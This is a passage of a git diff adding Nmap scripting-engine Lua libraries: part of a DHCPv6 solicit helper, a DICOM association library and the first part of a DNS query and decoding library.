+ return "NTP Servers", table.concat(opt.servers, ", ")
+ end,
+}
+
+-- The Helper class serves as the main interface to scripts
+Helper = {
+
+ -- Creates a new Helper class instance
+ -- @param iface string containing the interface name
+ -- @param options table containing any options, currently
+ -- <code>timeout</code> - socket timeout in ms
+ -- @return o new instance of Helper
+ new = function(self, iface, options)
+ local o = {
+ iface = iface,
+ options = options or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+
+ local info, err = nmap.get_interface_info(iface)
+ -- if we fail to get interface info, don't return a helper
+ -- this is true on OS X for interfaces like: p2p0 and vboxnet0
+ if ( not(info) and err ) then
+ return
+ end
+ o.mac = info.mac
+ o.socket = nmap.new_socket("udp")
+ o.socket:bind(nil, 546)
+ o.socket:set_timeout(o.options.timeout or 5000)
+ return o
+ end,
+
+ -- Sends a DHCP6 Solicit message to the server, essentially requesting a new
+ -- IPv6 non-temporary address
+ -- @return table of results suitable for use with
+ -- <code>stdnse.format_output</code>
+ solicit = function(self)
+ local req = DHCP6.Request:new( DHCP6.Type.SOLICIT )
+ local option = DHCP6.Option
+ req:addOption(option[DHCP6.OptionTypes.OPTION_ELAPSED_TIME]:new())
+ req:addOption(option[DHCP6.OptionTypes.OPTION_CLIENTID]:new(self.mac))
+
+ local iaid = string.unpack(">I4", self.mac:sub(3))
+ req:addOption(option[DHCP6.OptionTypes.OPTION_IA_NA]:new(iaid, 3600, 5400))
+
+ self.host, self.port = { ip = "ff02::1:2" }, { number = 547, protocol = "udp"}
+ local status, err = self.socket:sendto( self.host, self.port, tostring(req) )
+ if ( not(status) ) then
+ self.host.ip = ("%s%%%s"):format(self.host.ip, self.iface)
+ status, err = self.socket:sendto( self.host, self.port, tostring(req) )
+ if ( not(status) ) then
+ return false, "Failed to send DHCP6 request to server"
+ end
+ end
+
+ local resp, retries = {}, 3
+ repeat
+ retries = retries - 1
+ local status, data = self.socket:receive()
+ if ( not(status) ) then
+ return false, "Failed to receive DHCP6 request from server"
+ end
+
+ resp = DHCP6.Response.parse(data)
+ if ( not(resp) ) then
+ return false, "Failed to decode DHCP6 response from server"
+ end
+ until( req.xid == resp.xid or retries == 0 )
+
+ if ( req.xid ~= resp.xid ) then
+ return false, "Failed to receive DHCP6 response from server"
+ end
+
+ local result, result_options = {}, { name = "Options" }
+ local resptype = DHCP6.TypeStr[resp.msgtype] or ("Unknown (%d)"):format(resp.msgtype)
+
+ table.insert(result, ("Message type: %s"):format(resptype))
+ table.insert(result, ("Transaction id: %d"):format(resp.xid))
+
+ for _, opt in ipairs(resp.opts or {}) do
+ if ( OptionToString[opt.type] ) then
+ local topic, str = OptionToString[opt.type](opt.resp)
+ if ( topic and str ) then
+ table.insert(result_options, ("%s: %s"):format(topic, str))
+ end
+ else
+ stdnse.debug2("No decoder for option type: %d", opt.type)
+ end
+ end
+ table.insert(result, result_options)
+ return true, result
+ end,
+}
+
+
+return _ENV;
diff --git a/nselib/dicom.lua b/nselib/dicom.lua
new file mode 100644
index 0000000..ee063b9
--- /dev/null
+++ b/nselib/dicom.lua
@@ -0,0 +1,272 @@
+---
+-- DICOM library
+--
+-- This library implements (partially) the DICOM protocol. This protocol is used to
+-- capture, store and distribute medical images.
+--
+-- From Wikipedia:
+-- The core application of the DICOM standard is to capture, store and distribute
+-- medical images. The standard also provides services related to imaging such as
+-- managing imaging procedure worklists, printing images on film or digital media
+-- like DVDs, reporting procedure status like completion of an imaging acquisition,
+-- confirming successful archiving of images, encrypting datasets, removing patient
+-- identifying information from datasets, organizing layouts of images for review,
+-- saving image manipulations and annotations, calibrating image displays, encoding
+-- ECGs, encoding CAD results, encoding structured measurement data, and storing
+-- acquisition protocols.
+--
+-- OPTIONS:
+-- *<code>called_aet</code> - If set it changes the called Application Entity Title
+-- used in the requests. Default: ANY-SCP
+-- *<code>calling_aet</code> - If set it changes the calling Application Entity Title
+-- used in the requests. Default: ECHOSCU
+--
+-- @args dicom.called_aet Called Application Entity Title. Default: ANY-SCP
+-- @args dicom.calling_aet Calling Application Entity Title. Default: ECHOSCU
+--
+-- @author Paulino Calderon <paulino@calderonpale.com>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+---
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+_ENV = stdnse.module("dicom", stdnse.seeall)
+
+local MIN_SIZE_ASSOC_REQ = 68
+local MAX_SIZE_PDU = 128000
+local MIN_HEADER_LEN = 6
+local PDU_NAMES = {}
+local PDU_CODES = {}
+
+PDU_CODES =
+{
+ ASSOCIATE_REQUEST = 0x01,
+ ASSOCIATE_ACCEPT = 0x02,
+ ASSOCIATE_REJECT = 0x03,
+ DATA = 0x04,
+ RELEASE_REQUEST = 0x05,
+ RELEASE_RESPONSE = 0x06,
+ ABORT = 0x07
+}
+
+for i, v in pairs(PDU_CODES) do
+ PDU_NAMES[v] = i
+end
+
+---
+-- start_connection(host, port) starts socket to DICOM service
+--
+-- @param host Host object
+-- @param port Port table
+-- @return (status, socket) If status is true, socket of DICOM object is set.
+-- If status is false, socket is the error message.
+---
+function start_connection(host, port)
+ local dcm = {}
+ local status, err
+ dcm['socket'] = nmap.new_socket()
+
+ status, err = dcm['socket']:connect(host, port, "tcp")
+
+ if(status == false) then
+ return false, "DICOM: Failed to connect to host: " .. err
+ end
+
+ return true, dcm
+end
+
+---
+-- send(dcm, data) Sends DICOM packet over established socket
+--
+-- @param dcm DICOM object
+-- @param data Data to send
+-- @return status True if data was sent correctly, otherwise false and error message is returned.
+---
+function send(dcm, data)
+ local status, err
+ stdnse.debug2("DICOM: Sending DICOM packet (%d)", #data)
+ if dcm['socket'] then
+ status, err = dcm['socket']:send(data)
+ if status == false then
+ return false, err
+ end
+ else
+ return false, "No socket found. Check your DICOM object"
+ end
+ return true
+end
+
+---
+-- receive(dcm) Reads DICOM packets over an established socket
+--
+-- @param dcm DICOM object
+-- @return (status, data) Returns data if status true, otherwise data is the error message.
+---
+function receive(dcm)
+ local status, data = dcm['socket']:receive()
+ if status == false then
+ return false, data
+ end
+ stdnse.debug1("DICOM: receive() read %d bytes", #data)
+ return true, data
+end
+
+---
+-- pdu_header_encode(pdu_type, length) encodes the DICOM PDU header
+--
+-- @param pdu_type PDU type as ann unsigned integer
+-- @param length Length of the DICOM message
+-- @return (status, dcm) If status is true, the DICOM object with the header set is returned.
+-- If status is false, dcm is the error message.
+---
+function pdu_header_encode(pdu_type, length)
+ -- Some simple sanity checks, we do not check ranges to allow users to create malformed packets.
+ if not(type(pdu_type)) == "number" then
+ return false, "PDU Type must be an unsigned integer. Range:0-7"
+ end
+ if not(type(length)) == "number" then
+ return false, "Length must be an unsigned integer."
+ end
+
+ local header = string.pack("<B >B I4",
+ pdu_type, -- PDU Type ( 1 byte - unsigned integer in Big Endian )
+ 0, -- Reserved section ( 1 byte that should be set to 0x0 )
+ length) -- PDU Length ( 4 bytes - unsigned integer in Little Endian)
+ if #header < MIN_HEADER_LEN then
+ return false, "Header must be at least 6 bytes. Something went wrong."
+ end
+ return true, header
+end
+
+---
+-- associate(host, port) Attempts to associate to a DICOM Service Provider by sending an A-ASSOCIATE request.
+--
+-- @param host Host object
+-- @param port Port object
+-- @return (status, dcm) If status is true, the DICOM object is returned.
+-- If status is false, dcm is the error message.
+---
+
+function associate(host, port, calling_aet, called_aet)
+ local application_context = ""
+ local presentation_context = ""
+ local userinfo_context = ""
+
+ local status, dcm = start_connection(host, port)
+ if status == false then
+ return false, dcm
+ end
+
+ local application_context_name = "1.2.840.10008.3.1.1.1"
+ application_context = string.pack(">B B I2 c" .. #application_context_name,
+ 0x10,
+ 0x0,
+ #application_context_name,
+ application_context_name)
+
+ local abstract_syntax_name = "1.2.840.10008.1.1"
+ local transfer_syntax_name = "1.2.840.10008.1.2"
+ presentation_context = string.pack(">B B I2 B B B B B B I2 c" .. #abstract_syntax_name .. "B B I2 c".. #transfer_syntax_name,
+ 0x20, -- Presentation context type ( 1 byte )
+ 0x0, -- Reserved ( 1 byte )
+ 0x2e, -- Item Length ( 2 bytes )
+ 0x1, -- Presentation context id ( 1 byte )
+ 0x0,0x0,0x0, -- Reserved ( 3 bytes )
+ 0x30, -- Abstract Syntax Tree ( 1 byte )
+ 0x0, -- Reserved ( 1 byte )
+ 0x11, -- Item Length ( 2 bytes )
+ abstract_syntax_name,
+ 0x40, -- Transfer Syntax ( 1 byte )
+ 0x0, -- Reserved ( 1 byte )
+ 0x11, -- Item Length ( 2 bytes )
+ transfer_syntax_name)
+
+ local implementation_id = "1.2.276.0.7230010.3.0.3.6.2"
+ local implementation_version = "OFFIS_DCMTK_362"
+ userinfo_context = string.pack(">B B I2 B B I2 I4 B B I2 c" .. #implementation_id .. " B B I2 c".. #implementation_version,
+ 0x50, -- Type 0x50 (1 byte)
+ 0x0, -- Reserved ( 1 byte )
+ 0x3a, -- Length ( 2 bytes )
+ 0x51, -- Type 0x51 ( 1 byte)
+ 0x0, -- Reserved ( 1 byte)
+ 0x04, -- Length ( 2 bytes )
+ 0x4000, -- DATA ( 4 bytes )
+ 0x52, -- Type 0x52 (1 byte)
+ 0x0,
+ 0x1b,
+ implementation_id,
+ 0x55,
+ 0x0,
+ 0x0f,
+ implementation_version)
+
+ local called_ae_title = called_aet or stdnse.get_script_args("dicom.called_aet") or "ANY-SCP"
+ local calling_ae_title = calling_aet or stdnse.get_script_args("dicom.calling_aet") or "ECHOSCU"
+ if #called_ae_title > 16 or #calling_ae_title > 16 then
+ return false, "Calling/Called Application Entity Title must be less than 16 bytes"
+ end
+ called_ae_title = called_ae_title .. string.rep(" ", 16 - #called_ae_title)
+ calling_ae_title = calling_ae_title .. string.rep(" ", 16 - #calling_ae_title)
+
+ -- ASSOCIATE request
+ local assoc_request = string.pack(">I2 I2 c16 c16 c32 c" .. application_context:len() .. " c" .. presentation_context:len() .. " c" .. userinfo_context:len(),
+ 0x1, -- Protocol version ( 2 bytes )
+ 0x0, -- Reserved section ( 2 bytes that should be set to 0x0 )
+ called_ae_title, -- Called AE title ( 16 bytes)
+ calling_ae_title, -- Calling AE title ( 16 bytes)
+ 0x0, -- Reserved section ( 32 bytes set to 0x0 )
+ application_context,
+ presentation_context,
+ userinfo_context)
+
+ local status, header = pdu_header_encode(PDU_CODES["ASSOCIATE_REQUEST"], #assoc_request)
+
+ -- Something might be wrong with our header
+ if status == false then
+ return false, header
+ end
+
+ assoc_request = header .. assoc_request
+
+ stdnse.debug2("PDU len minus header:%d", #assoc_request-#header)
+ if #assoc_request < MIN_SIZE_ASSOC_REQ then
+ return false, string.format("ASSOCIATE request PDU must be at least %d bytes and we tried to send %d.", MIN_SIZE_ASSOC_REQ, #assoc_request)
+ end
+ local status, err = send(dcm, assoc_request)
+ if status == false then
+ return false, string.format("Couldn't send ASSOCIATE request:%s", err)
+ end
+ status, err = receive(dcm)
+ if status == false then
+ return false, string.format("Couldn't read ASSOCIATE response:%s", err)
+ end
+
+ local resp_type, _, resp_length = string.unpack(">B B I4", err)
+ stdnse.debug1("PDU Type:%d Length:%d", resp_type, resp_length)
+ if resp_type == PDU_CODES["ASSOCIATE_ACCEPT"] then
+ stdnse.debug1("ASSOCIATE ACCEPT message found!")
+ return true, dcm
+ elseif resp_type == PDU_CODES["ASSOCIATE_REJECT"] then
+ stdnse.debug1("ASSOCIATE REJECT message found!")
+ return false, "ASSOCIATE REJECT received"
+ else
+ return false, "Received unknown response"
+ end
+end
+
+function send_pdata(dicom, data)
+ local status, header = pdu_header_encode(PDU_CODES["DATA"], #data)
+ if status == false then
+ return false, header
+ end
+ local err
+ status, err = send(dicom, header .. data)
+ if status == false then
+ return false, err
+ end
+end
+
+return _ENV
diff --git a/nselib/dns.lua b/nselib/dns.lua
new file mode 100644
index 0000000..7fb8a76
--- /dev/null
+++ b/nselib/dns.lua
@@ -0,0 +1,1837 @@
+---
+-- Simple DNS library supporting packet creation, encoding, decoding,
+-- and querying.
+--
+-- The most common interface to this module are the <code>query</code> and
+-- <code>reverse</code> functions. <code>query</code> performs a DNS query,
+-- and <code>reverse</code> prepares an ip address to have a reverse query
+-- performed.
+--
+-- <code>query</code> takes two options - a domain name to look up and an
+-- optional table of options. For more information on the options table,
+-- see the documentation for <code>query</code>.
+--
+-- Example usage:
+-- <code>
+-- -- After this call, <code>status</code> is <code>true</code> and <code>result</code> is <code>"72.14.204.104"</code>
+-- local status, result = dns.query('www.google.ca')
+--
+-- -- After this call, <code>status</code> is <code>false</code> and <code>result</code> is <code>"No such name"</code>
+-- local status, result = dns.query('www.google.abc')
+--
+-- -- After this call, <code>status</code> is <code>true</code> and <code>result</code> is the table <code>{"72.14.204.103", "72.14.204.104", "72.14.204.147", "72.14.204.99"}</code>
+-- local status, result = dns.query('www.google.ca', {retAll=true})
+--
+-- -- After this call, <code>status</code> is <code>true</code> and <code>result</code> is the <code>"2001:19f0:0:0:0:dead:beef:cafe"</code>
+-- local status, result = dns.query('irc.ipv6.efnet.org', {dtype='AAAA'})
+--</code>
+--
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+
+local coroutine = require "coroutine"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local base32 = require "base32"
+local unittest = require "unittest"
+_ENV = stdnse.module("dns", stdnse.seeall)
+
+get_servers = nmap.get_dns_servers
+
+---
+-- Table of DNS resource types.
+-- @name types
+-- @class table
+types = {
+ A = 1,
+ NS = 2,
+ SOA = 6,
+ CNAME = 5,
+ PTR = 12,
+ HINFO = 13,
+ MX = 15,
+ TXT = 16,
+ AAAA = 28,
+ SRV = 33,
+ OPT = 41,
+ SSHFP = 44,
+ NSEC = 47,
+ NSEC3 = 50,
+ AXFR = 252,
+ ANY = 255
+}
+
+CLASS = {
+ IN = 1,
+ CH = 3,
+ ANY = 255
+}
+
+
+---
+-- Repeatedly sends UDP packets to host, waiting for an answer.
+-- @param data Data to be sent.
+-- @param host Host to connect to.
+-- @param port Port to connect to.
+-- @param timeout Number of ms to wait for a response.
+-- @param cnt Number of tries.
+-- @param multiple If true, keep reading multiple responses until timeout.
+-- @return Status (true or false).
+-- @return Response (if status is true).
+local function sendPacketsUDP(data, host, port, timeout, cnt, multiple)
+ local socket = nmap.new_socket("udp")
+ local responses = {}
+
+ socket:set_timeout(timeout)
+
+ if ( not(multiple) ) then
+ socket:connect( host, port, "udp" )
+ end
+
+ for i = 1, cnt do
+ local status, err
+
+ if ( multiple ) then
+ status, err = socket:sendto(host, port, data)
+ else
+ status, err = socket:send(data)
+ end
+
+ if (not(status)) then return false, err end
+
+ local response
+
+ if ( multiple ) then
+ while(true) do
+ status, response = socket:receive()
+ if( not(status) ) then break end
+
+ local status, _, _, ip, _ = socket:get_info()
+ table.insert(responses, { data = response, peer = ip } )
+ end
+ else
+ status, response = socket:receive()
+ if ( status ) then
+ local status, _, _, ip, _ = socket:get_info()
+ table.insert(responses, { data = response, peer = ip } )
+ end
+ end
+
+ if (#responses>0) then
+ socket:close()
+ return true, responses
+ end
+ end
+ socket:close()
+ return false
+end
+
+---
+-- Send TCP DNS query
+-- @param data Data to be sent.
+-- @param host Host to connect to.
+-- @param port Port to connect to.
+-- @param timeout Number of ms to wait for a response.
+-- @return Status (true or false).
+-- @return Response (if status is true).
+local function sendPacketsTCP(data, host, port, timeout)
+ local socket = nmap.new_socket()
+ local response
+ local responses = {}
+ socket:set_timeout(timeout)
+ socket:connect(host, port)
+ -- add payload size we are assuming a minimum size here of 256?
+ local send_data = '\000' .. string.char(#data) .. data
+ socket:send(send_data)
+ local response = ''
+ local got_response = false
+ while true do
+ local status, recv_data = socket:receive_bytes(1)
+ if not status then break end
+ got_response = true
+ response = response .. recv_data
+ end
+ local status, _, _, ip, _ = socket:get_info()
+ socket:close()
+ if not got_response then
+ return false
+ end
+ -- remove payload size
+ table.insert(responses, { data = string.sub(response,3), peer = ip } )
+ return true, responses
+end
+
+---
+-- Call appropriate protocol handler
+-- @param data Data to be sent.
+-- @param host Host to connect to.
+-- @param port Port to connect to.
+-- @param timeout Number of ms to wait for a response.
+-- @param cnt Number of tries.
+-- @param multiple If true, keep reading multiple responses until timeout.
+-- @return Status (true or false).
+local function sendPackets(data, host, port, timeout, cnt, multiple, proto)
+ if proto == nil or proto == 'udp' then
+ return sendPacketsUDP(data, host, port, timeout, cnt, multiple)
+ else
+ return sendPacketsTCP(data, host, port, timeout)
+ end
+end
+
+---
+-- Checks if a DNS response packet contains a useful answer.
+-- @param rPkt Decoded DNS response packet.
+-- @return True if useful, false if not.
+local function gotAnswer(rPkt)
+ -- have we even got answers?
+ if #rPkt.answers > 0 then
+
+ -- some MDNS implementation incorrectly return an empty question section
+ -- if this is the case return true
+ if rPkt.questions[1] == nil then
+ return true
+ end
+
+ -- are those answers not just cnames?
+ if rPkt.questions[1].dtype == types.A then
+ for _, v in ipairs(rPkt.answers) do
+ -- if at least one answer is an A record, it's an answer
+ if v.dtype == types.A then
+ return true
+ end
+ end
+ -- if none was an A record, it's not really an answer
+ return false
+ else -- there was no A request, CNAMEs are not of interest
+ return true
+ end
+ -- no such name is the answer
+ elseif rPkt.flags.RC3 and rPkt.flags.RC4 then
+ return true
+ -- really no answer
+ else
+ return false
+ end
+end
+
+
+---
+-- Tries to find the next nameserver with authority to get a result for
+-- query.
+-- @param rPkt Decoded DNS response packet
+-- @return String or table of next server(s) to query, or false.
+local function getAuthDns(rPkt)
+ if #rPkt.auth == 0 then
+ if #rPkt.answers == 0 then
+ return false
+ else
+ if rPkt.answers[1].dtype == types.CNAME then
+ return {cname = rPkt.answers[1].domain}
+ end
+ end
+ end
+ if rPkt.auth[1].dtype == types.NS then
+ if #rPkt.add > 0 then
+ local hosts = {}
+ for _, v in ipairs(rPkt.add) do
+ if v.dtype == types.A then
+ table.insert(hosts, v.ip)
+ end
+ end
+ if #hosts > 0 then return hosts end
+ end
+ local status, next = query(rPkt.auth[1].domain, {dtype = "A" })
+ return next
+ end
+ return false
+end
+
+local function processResponse( response, dname, dtype, options )
+
+ local rPkt = decode(response)
+ -- is it a real answer?
+ if gotAnswer(rPkt) then
+ if (options.retPkt) then
+ return true, rPkt
+ else
+ return findNiceAnswer(dtype, rPkt, options.retAll)
+ end
+ elseif ( not(options.noauth) ) then -- if not, ask the next server in authority
+
+ local next_server = getAuthDns(rPkt)
+
+ -- if we got a CNAME, ask for the CNAME
+ if type(next_server) == 'table' and next_server.cname then
+ options.tries = options.tries - 1
+ return query(next_server.cname, options)
+ end
+
+ -- only ask next server in authority, if
+ -- we got an auth dns and
+ -- it isn't the one we just asked
+ if next_server and next_server ~= options.host and options.tries > 1 then
+ options.host = next_server
+ options.tries = options.tries - 1
+ return query(dname, options)
+ end
+ elseif ( options.retPkt ) then
+ return true, rPkt
+ end
+
+ -- nothing worked
+ stdnse.debug1("dns.query() failed to resolve the requested query%s%s", dname and ": " or ".", dname or "")
+ return false, "No Answers"
+
+end
+
+---
+-- Query DNS servers for a DNS record.
+-- @param dname Desired domain name entry.
+-- @param options A table containing any of the following fields:
+-- * <code>dtype</code>: Desired DNS record type (default: <code>"A"</code>).
+-- * <code>host</code>: DNS server to be queried (default: DNS servers known to Nmap).
+-- * <code>port</code>: Port of DNS server to connect to (default: <code>53</code>).
+-- * <code>tries</code>: How often should <code>query</code> try to contact another server (for non-recursive queries).
+-- * <code>retAll</code>: Return all answers, not just the first.
+-- * <code>retPkt</code>: Return the packet instead of using the answer-fetching mechanism.
+-- * <code>norecurse</code>: If true, do not set the recursion (RD) flag.
+-- * <code>noauth</code>: If true, do not try to find authoritative server
+-- * <code>multiple</code>: If true, expects multiple hosts to respond to multicast request
+-- * <code>flags</code>: numeric value to set flags in the DNS query to a specific value
+-- * <code>id</code>: numeric value to use for the DNS transaction id
+-- * <code>nsid</code>: If true, queries the server for the nameserver identifier (RFC 5001)
+-- * <code>subnet</code>: table, if set perform a edns-client-subnet lookup. The table should contain the fields:
+-- <code>family</code> - IPv4: "inet" or 1 (default), IPv6: "inet6" or 2
+-- <code>address</code> - string containing the originating subnet IP address
+-- <code>mask</code> - number containing the number of subnet bits
+-- @return <code>true</code> if a dns response was received and contained an answer of the requested type,
+-- or the decoded dns response was requested (retPkt) and is being returned - or <code>false</code> otherwise.
+-- @return String answer of the requested type, table of answers or a String error message of one of the following:
+-- "No Such Name", "No Servers", "No Answers", "Unable to handle response"
+function query(dname, options)
+ if not options then options = {} end
+
+ local dtype, host, port, proto = options.dtype, options.host, options.port, options.proto
+ if proto == nil then proto = 'udp' end
+ if port == nil then port = '53' end
+
+ local class = options.class or CLASS.IN
+ if not options.tries then options.tries = 10 end -- don't get into an infinite loop
+
+ if not options.sendCount then options.sendCount = 2 end
+
+ if type( options.timeout ) ~= "number" then options.timeout = get_default_timeout() end
+
+ if type(dtype) == "string" then
+ dtype = types[dtype]
+ end
+ if not dtype then dtype = types.A end
+
+ local srv
+ local srvI = 1
+ if not port then port = 53 end
+ if not host then
+ srv = get_servers()
+ if srv and srv[1] then
+ host = srv[1]
+ else
+ return false, "No Servers"
+ end
+ elseif type(host) == "table" then
+ srv = host
+ host = srv[1]
+ end
+
+ local pkt = newPacket()
+ addQuestion(pkt, dname, dtype, class)
+ if options.norecurse then pkt.flags.RD = false end
+
+ local dnssec = {}
+ if ( options.dnssec ) then
+ dnssec = { DO = true }
+ end
+
+ if ( options.nsid ) then
+ addNSID(pkt, dnssec)
+ elseif ( options.subnet ) then
+ addClientSubnet(pkt, dnssec, options.subnet )
+ elseif ( dnssec.DO ) then
+ addOPT(pkt, {DO = true})
+ end
+
+ if ( options.flags ) then pkt.flags.raw = options.flags end
+ if ( options.id ) then pkt.id = options.id end
+
+ local data = encode(pkt)
+
+ local status, response = sendPackets(data, host, port, options.timeout, options.sendCount, options.multiple, proto)
+
+
+ -- if working with know nameservers, try the others
+ while((not status) and srv and srvI < #srv) do
+ srvI = srvI + 1
+ host = srv[srvI]
+ status, response = sendPackets(data, host, port, options.timeout, options.sendCount)
+ end
+
+ -- if we got any response:
+ if status then
+ if ( options.multiple ) then
+ local multiresponse = {}
+ for _, r in ipairs( response ) do
+ local status, presponse = processResponse( r.data, dname, dtype, options )
+ if( status ) then
+ table.insert( multiresponse, { ['output']=presponse, ['peer']=r.peer } )
+ end
+ end
+ return true, multiresponse
+ else
+ return processResponse( response[1].data, dname, dtype, options)
+ end
+ else
+ stdnse.debug1("dns.query() got zero responses attempting to resolve query%s%s", dname and ": " or ".", dname or "")
+ return false, "No Answers"
+ end
+end
+
+
+---
+-- Formats an IP address for reverse lookup.
+-- @param ip IP address string.
+-- @return "Domain"-style representation of IP as subdomain of in-addr.arpa or
+-- ip6.arpa.
+function reverse(ip)
+ ip = ipOps.expand_ip(ip)
+ if type(ip) ~= "string" then return nil end
+ local delim = "%."
+ local arpa = ".in-addr.arpa"
+ if ip:match(":") then
+ delim = ":"
+ arpa = ".ip6.arpa"
+ end
+ local ipParts = stringaux.strsplit(delim, ip)
+ if #ipParts == 8 then
+ -- padding
+ local mask = "0000"
+ for i, part in ipairs(ipParts) do
+ ipParts[i] = mask:sub(1, #mask - #part) .. part
+ end
+ -- 32 parts from 8
+ local temp = {}
+ for i, hdt in ipairs(ipParts) do
+ for part in hdt:gmatch("%x") do
+ temp[#temp+1] = part
+ end
+ end
+ ipParts = temp
+ end
+ local ipReverse = {}
+ for i = #ipParts, 1, -1 do
+ table.insert(ipReverse, ipParts[i])
+ end
+ return table.concat(ipReverse, ".") .. arpa
+end
+
+-- Table for answer fetching functions.
+local answerFetcher = {}
+
+-- Answer fetcher for TXT records.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns TXT record or Table of TXT records or String Error message.
+answerFetcher[types.TXT] = function(dec, retAll)
+ local answers = {}
+ if not retAll and dec.answers[1].data then
+ return true, string.sub(dec.answers[1].data, 2)
+ elseif not retAll then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: TXT")
+ return false, "No Answers"
+ else
+ for _, v in ipairs(dec.answers) do
+ if v.TXT and v.TXT.text then
+ for _, v in ipairs( v.TXT.text ) do
+ table.insert(answers, v)
+ end
+ end
+ end
+ end
+ if #answers == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: TXT")
+ return false, "No Answers"
+ end
+ return true, answers
+end
+
+-- Answer fetcher for A records
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns A record or Table of A records or String Error message.
+answerFetcher[types.A] = function(dec, retAll)
+ local answers = {}
+ for _, ans in ipairs(dec.answers) do
+ if ans.dtype == types.A then
+ if not retAll then
+ return true, ans.ip
+ end
+ table.insert(answers, ans.ip)
+ end
+ end
+ if not retAll or #answers == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: A")
+ return false, "No Answers"
+ end
+ return true, answers
+end
+
+
+-- Answer fetcher for CNAME records.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first Domain entry or Table of domain entries or String Error message.
+answerFetcher[types.CNAME] = function(dec, retAll)
+ local answers = {}
+ if not retAll and dec.answers[1].domain then
+ return true, dec.answers[1].domain
+ elseif not retAll then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: NS, PTR or CNAME")
+ return false, "No Answers"
+ else
+ for _, v in ipairs(dec.answers) do
+ if v.domain then table.insert(answers, v.domain) end
+ end
+ end
+ if #answers == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: NS, PTR or CNAME")
+ return false, "No Answers"
+ end
+ return true, answers
+end
+
+-- Answer fetcher for MX records.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns MX record or Table of MX records or String Error message.
+-- Note that the format of a returned MX answer is "preference:hostname:IPaddress" where zero
+-- or more IP addresses may be present.
+answerFetcher[types.MX] = function(dec, retAll)
+ local mx, ip, answers = {}, {}, {}
+ for _, ans in ipairs(dec.answers) do
+ if ans.MX then mx[#mx+1] = ans.MX end
+ if not retAll then break end
+ end
+ if #mx == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: MX")
+ return false, "No Answers"
+ end
+ for _, add in ipairs(dec.add) do
+ if ip[add.dname] then table.insert(ip[add.dname], add.ip)
+ else ip[add.dname] = {add.ip} end
+ end
+ for _, mxrec in ipairs(mx) do
+ if ip[mxrec.server] then
+ table.insert( answers, ("%s:%s:%s"):format(mxrec.pref or "-", mxrec.server or "-", table.concat(ip[mxrec.server], ":")) )
+ if not retAll then return true, answers[1] end
+ else
+ -- no IP ?
+ table.insert( answers, ("%s:%s"):format(mxrec.pref or "-", mxrec.server or "-") )
+ if not retAll then return true, answers[1] end
+ end
+ end
+ return true, answers
+end
+
+-- Answer fetcher for SRV records.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns SRV record or Table of SRV records or String Error message.
+-- Note that the format of a returned SRV answer is "priority:weight:port:target" where zero
+-- or more IP addresses may be present.
+answerFetcher[types.SRV] = function(dec, retAll)
+ local srv, ip, answers = {}, {}, {}
+ for _, ans in ipairs(dec.answers) do
+ if ans.dtype == types.SRV then
+ if not retAll then
+ return true, ("%s:%s:%s:%s"):format( ans.SRV.prio, ans.SRV.weight, ans.SRV.port, ans.SRV.target )
+ end
+ table.insert( answers, ("%s:%s:%s:%s"):format( ans.SRV.prio, ans.SRV.weight, ans.SRV.port, ans.SRV.target ) )
+ end
+ end
+ if #answers == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: SRV")
+ return false, "No Answers"
+ end
+
+ return true, answers
+end
+
+-- Answer fetcher for NSEC records.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns NSEC record or Table of NSEC records or String Error message.
+-- Note that the format of a returned NSEC answer is "name:dname:types".
+answerFetcher[types.NSEC] = function(dec, retAll)
+ local nsec, answers = {}, {}
+ for _, auth in ipairs(dec.auth) do
+ if auth.NSEC then nsec[#nsec+1] = auth.NSEC end
+ if not retAll then break end
+ end
+ if #nsec == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: NSEC")
+ return false, "No Answers"
+ end
+ for _, nsecrec in ipairs(nsec) do
+ table.insert( answers, ("%s:%s:%s"):format(nsecrec.name or "-", nsecrec.dname or "-", table.concat(nsecrec.types, ":") or "-"))
+ end
+ if not retAll then return true, answers[1] end
+ return true, answers
+end
+
+-- Answer fetcher for NS records.
+-- @name answerFetcher[types.NS]
+-- @class function
+-- @param dec Decoded DNS response.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first Domain entry or Table of domain entries or String Error message.
+answerFetcher[types.NS] = answerFetcher[types.CNAME]
+
+-- Answer fetcher for PTR records.
+-- @name answerFetcher[types.PTR]
+-- @class function
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first Domain entry or Table of domain entries or String Error message.
+answerFetcher[types.PTR] = answerFetcher[types.CNAME]
+
+-- Answer fetcher for AAAA records.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns AAAA record or Table of AAAA records or String Error message.
+answerFetcher[types.AAAA] = function(dec, retAll)
+ local answers = {}
+ for _, ans in ipairs(dec.answers) do
